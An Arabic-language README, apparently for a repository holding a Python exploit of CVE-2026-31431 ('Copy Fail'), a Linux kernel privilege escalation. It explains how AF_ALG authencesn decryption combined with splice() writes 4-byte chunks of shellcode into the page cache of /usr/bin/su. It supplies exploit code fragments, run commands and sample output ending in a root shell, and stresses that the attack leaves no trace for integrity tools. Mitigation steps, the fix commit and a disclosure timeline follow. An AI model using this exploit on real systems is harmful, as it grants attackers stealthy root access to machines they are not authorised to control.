
استغلال بلغة بايثون لثغرة CVE-2026-31431، وهي تصعيد صلاحيات في نواة لينكس عبر إفساد ذاكرة التخزين المؤقت للصفحات لملفات setuid الثنائية، مما يحقق وصولاً بصلاحيات الجذر.
Copy Fail (CVE-2026-31431) هو خطأ منطقي حرج في النظام الفرعي للتشفير في نواة لينكس يسمح للمستخدمين غير المصرح لهم بتحقيق تصعيد الصلاحيات إلى صلاحيات الجذر (root). تؤثر الثغرة على نواة لينكس من الإصدار 6.0.0 حتى 6.18.x عبر جميع التوزيعات الرئيسية.
يحتوي هذا المستودع على الاستغلال الحقيقي الذي يُفعّل الثغرة عن طريق إفساد ذاكرة التخزين المؤقت للصفحات (page cache) للملفات الثنائية ذات setuid وتنفيذ كود تعسفي بصلاحيات الجذر.
Copy Fail هو خطأ منطقي يسمح للمستخدمين غير المصرح لهم بكتابة أجزاء عشوائية من 4 بايت مباشرة إلى ذاكرة التخزين المؤقت للصفحات في النواة لأي ملف قابل للقراءة على النظام، بما في ذلك الملفات الثنائية ذات setuid.
الخصائص الرئيسية:
تنبع الثغرة من تحسين تم في عام 2017 في algif_aead.c (commit 72548b093ee3) والذي غيّر عمليات AEAD من خارج المكان (out-of-place) إلى في المكان (in-place):
قبل (آمن - 2015):
TX Scatterlist (الإدخال) ← TX buffer (بيانات المستخدم من الملف)
RX Scatterlist (الإخراج) ← RX buffer (منطقة إخراج المستخدم)
Scatterlists منفصلة = صفحات ذاكرة التخزين المؤقت للصفحات للقراءة فقط
بعد (معرض للخطر - 2017):
Scatterlist مدمج:
[ RX buffer ] [ صفحات ذاكرة التخزين المؤقت للصفحات مرتبطة عبر sg_chain() ]
↑ ↑
req->src = src req->dst = dst (نفس scatterlist)
صفحات ذاكرة التخزين المؤقت للصفحات الآن في scatterlist قابل للكتابة!
يبدو الـ scatterlist المدمج كما يلي:
[AAD + Ciphertext من RX buffer] || [Tag من صفحة /usr/bin/su في ذاكرة التخزين المؤقت]
↑
الحدود
(authencesn يكتب بعد هذه النقطة)
خوارزمية authencesn هي غلاف AEAD تستخدمه IPsec لأرقام التسلسل الموسعة (ESN). تقوم بحساب HMAC ولكنها تحتاج إلى إعادة ترتيب البايتات داخل AAD (بيانات المصادقة المرتبطة).
في كود النواة (crypto/authenc.c)، أثناء فك التشفير:
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // قراءة بايتات AAD 0-7
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // مؤقت: الكتابة فوق dst[4..7]
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1); // ← السطر الرئيسي
// كتابة 4 بايتات عند dst[assoclen+cryptlen]
المشكلة: الكتابة الثالثة تحدث عند الإزاحة assoclen + cryptlen. في المسار المعرض للخطر (في المكان):
تتعامل النواة مع هذا الموضع كـ"مساحة خدش قابلة للاستهلاك" وتكتب القيمة هناك بشكل دائم. البايتات الأصلية في هذا الموضع في ذاكرة التخزين المؤقت للصفحات تُفقد إلى الأبد.
1. يفتح المهاجم مقبس AF_ALG → يربطه بـ authencesn(hmac(sha256),cbc(aes))
(لا توجد صلاحيات مطلوبة؛ AF_ALG متاح للمستخدمين غير المصرح لهم افتراضيًا)
2. يفتح المهاجم الملف المستهدف: /usr/bin/su (ملف ثنائي setuid-root)
3. يستخدم المهاجم splice() لتسليم صفحات /usr/bin/su من ذاكرة التخزين المؤقت
إلى مقبس AF_ALG كـ"ciphertext" و"tag"
4. يرسل المهاجم sendmsg() مع AAD يحتوي على:
- البايتات 0-3: حشو
- البايتات 4-7: seqno_lo = قيمة 4 بايتات للكتابة (يتحكم بها المهاجم)
- البايتات 8+: حشو
5. يستدعي المهاجم recvmsg() الذي يُفعّل عملية فك تشفير AEAD
داخل authencesn في مساحة النواة:
أ) تقرأ النواة بايتات AAD 0-7
ب) تكتب النواة seqno_hi عند dst[4..7] (مؤقت، ثم يُستعاد)
ج) تكتب النواة seqno_lo عند dst[assoclen + cryptlen]
↓
هذه الكتابة تعبر من buffer المستخدم إلى صفحات ذاكرة التخزين المؤقت
↓
كتابة 4 بايتات إلى ذاكرة التخزين المؤقت لـ /usr/bin/su تحدث هنا
د) تحسب النواة HMAC (يفشل التحقق - ciphertext مُلفق)
هـ) يعيد recvmsg() خطأ
لكن: كتابة الـ 4 بايتات تبقى بالفعل في ذاكرة التخزين المؤقت للصفحات
6. يكرر المهاجم الخطوات 2-5 لكل جزء من 4 بايتات من الشيلكود
7. ينفذ المهاجم /usr/bin/su
- تحمّل النواة الملف الثنائي من ذاكرة التخزين المؤقت للصفحات (التي تحتوي الآن على الشيلكود)
- الملف الثنائي هو setuid-root
- يُنفَّذ الشيلكود مع UID=0
- يحصل المهاجم على صلاحيات الجذر
sock = socket.socket(38, socket.SOCK_SEQPACKET, 0) # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0] # مقبس الطلب لعمليات AEAD
أنشئ مقبس AF_ALG مرتبطًا بقالب authencesn AEAD.
target_fd = os.open("/usr/bin/su", os.O_RDONLY)
افتح الملف الثنائي setuid الذي سيتم إفساده. أي ملف قابل للقراءة يعمل، لكن الملفات الثنائية setuid تُختار لتصعيد الصلاحيات.
pipe_rd, pipe_wr = os.pipe()
أنشئ أنبوبًا سيعمل كوسيط لعمليات splice(). ستحتفظ مخازن الأنبوب المؤقتة بمراجع لصفحات ذاكرة التخزين المؤقت.
os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)
استخدم splice() لنقل cryptlen بايت من /usr/bin/su بدءًا من write_offset إلى الأنبوب.
لماذا هذا مهم: ينقل splice() البيانات بين واصفات الملفات بدون نسخ. يمرر مراجع مباشرة لصفحات ذاكرة التخزين المؤقت للنواة. تبقى هذه الصفحات في بنية المخزن المؤقت الداخلية للأنبوب.
assoclen = 8 # طول AAD: البايتات 0-7
cryptlen = 32 # طول Ciphertext (== مخرجات HMAC-SHA256)
authsize = 32 # طول Tag
write_offset = 0x2000 # الإزاحة في /usr/bin/su للكتابة إليها
aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)
يحتوي AAD (بيانات المصادقة المرتبطة) على:
ستستخدم خوارزمية authencesn البايتات 4-7 من هذا AAD في كتابة الخدش الخاصة بها.
req_sock.sendmsg([aad], [], socket.MSG_MORE)
أرسل AAD إلى مقبس AF_ALG. تشير علامة MSG_MORE إلى أن ciphertext/tag سيتبعان.
os.splice(pipe_rd, req_sock.fileno(), cryptlen)
انقل صفحات ذاكرة التخزين المؤقت من الأنبوب إلى مقبس AF_ALG. الآن يحتوي scatterlist الخاص بالنواة على:
سلسلة Scatterlist:
[ AAD (من RX buffer) ] || [ Ciphertext (من RX buffer) ] → [ Tag (صفحات ذاكرة التخزين المؤقت) ]
↑
لا يزال يشير إلى
صفحات /usr/bin/su
try:
req_sock.recv(1024)
except OSError:
pass # من المتوقع أن يفشل مع HMAC غير صالح
استدعِ recvmsg() لتفعيل عملية فك تشفير AEAD:
داخل authencesn في مساحة النواة:
dst[assoclen + cryptlen]
for i in range(0, len(shellcode), 4):
chunk = shellcode[i:i+4]
exploit_target_file("/usr/bin/su", base_offset + i, chunk)
يحلق الاستغلال، ويكتب أجزاء من 4 بايتات من الشيلكود في إزاحات متتالية في ذاكرة التخزين المؤقت لـ /usr/bin/su.
os.execve("/usr/bin/su", ["/usr/bin/su"], os.environ)
نفّذ /usr/bin/su:
os.splice())lsmod | grep -E 'af_alg|algif_aead|authencesn'
python3 exploit.py
المخرجات المتوقعة على نظام معرض للخطر:
[*] CVE-2026-31431 (Copy Fail) تصعيد صلاحيات نواة لينكس
[*] الهدف: /usr/bin/su (ملف ثنائي setuid-root)
[*] إصدار النواة: 6.12.0-1007-aws
[+] النواة 6.12.x ضمن النطاق المعرض للخطر (6.0 - 6.18)
[+] تم العثور على /usr/bin/su (ملف ثنائي setuid-root)
[+] فحص ثغرة النواة: AF_ALG + splice + authencesn
[*] بدء إفساد ذاكرة التخزين المؤقت للصفحات...
[*] حقن 33 بايت من الشيلكود في /usr/bin/su
[+] تمت كتابة الجزء 0 عند الإزاحة 0x2000
[+] تمت كتابة الجزء 1 عند الإزاحة 0x2004
...
[+] تم حقن الشيلكود بنجاح!
[*] تنفيذ /usr/bin/su لتفعيل الشيلكود...
# id
uid=0(root) gid=1001(user) groups=1001(user)
تعطيل دعم AF_ALG AEAD:
sudo -i
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
exit
يمنع هذا الاستغلال من الوصول إلى واجهة AEAD الخاصة بـ AF_ALG مع الحفاظ على وظائف AF_ALG الأخرى سليمة.
إلغاء تحميل الوحدات المعرضة للخطر:
sudo rmmod algif_aead
sudo rmmod authencesn
حظر إنشاء مقبس AF_ALG عبر seccomp (للبيئات المعزولة بالحاويات):
# في سياسة أمان الحاوية، ارفض استدعاءات النظام socket(38, SOCK_SEQPACKET)
قم بالتحديث إلى لينكس 6.19+ الذي يتضمن الإصلاح (commit a664bf3d603d).
يعيد الإصلاح algif_aead.c إلى عمليات AEAD خارج المكان (out-of-place):
// قبل (في المكان - معرض للخطر):
aead_request_set_crypt(&areq->cra_u.aead_req,
rsgl_src, // RX SGL (الإدخال)
rsgl_src, // RX SGL (الإخراج) - نفس الشيء
used, ctx->iv);
// بعد (خارج المكان - مُصلح):
aead_request_set_crypt(&areq->cra_u.aead_req,
tsgl_src, // TX SGL (الإدخال)
rsgl_src, // RX SGL (الإخراج) - مختلف
used, ctx->iv);
مع scatterlists منفصلة للمصدر والوجهة:
هذا الاستغلال مخصص لأغراض الاختبار الأمني التعليمي والمصرح به فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. احصل دائمًا على التفويض المناسب قبل اختبار الثغرات.
| الجانب | الشرح |
|---|
| لا أعطال | تكتمل العملية من منظور النواة |
| حتمي | لا حالات سباق؛ متزامن وموثوق |
| مستمر | يبقى إفساد ذاكرة التخزين المؤقت حتى بعد خطأ recvmsg() |
| غير مرئي | الملف على القرص لم يُمس؛ أدوات فحص السلامة القياسية لا تكتشف شيئًا |
| عالمي | نفس الكود يعمل على جميع التوزيعات؛ لا حاجة لإزاحات خاصة بالتوزيع |
| قابل للنقل | يعمل على معماريتي x86-64 و ARM64 |
| التاريخ | الحدث |
|---|
| الربع الثالث 2017 | إدخال الثغرة في algif_aead.c (commit 72548b093ee3) |
| 2026-03-23 | الإبلاغ إلى فريق أمان نواة لينكس |
| 2026-03-24 | اعتراف فريق النواة بالثغرة |
| 2026-03-25 | اقتراح ومراجعة التصحيحات |
| 2026-04-01 | دمج التصحيحات في النواة الرئيسية (commit a664bf3d603d) |
| 2026-04-22 | تعيين CVE-2026-31431 |
| 2026-04-29 | الكشف العام (Xint Research) |
| السلسلة | الحالة | التفاصيل |
|---|
| لينكس 5.x | ✅ آمن | يسبق الثغرة |
| لينكس 6.0 - 6.18 | ❌ معرض للخطر | جميع الإصدارات الفرعية متأثرة |
| لينكس 6.19+ | ✅ آمن | يحتوي على الإصلاح (commit a664bf3d603d) |
| لينكس 7.0+ | ✅ آمن | بعد دمج الإصلاح |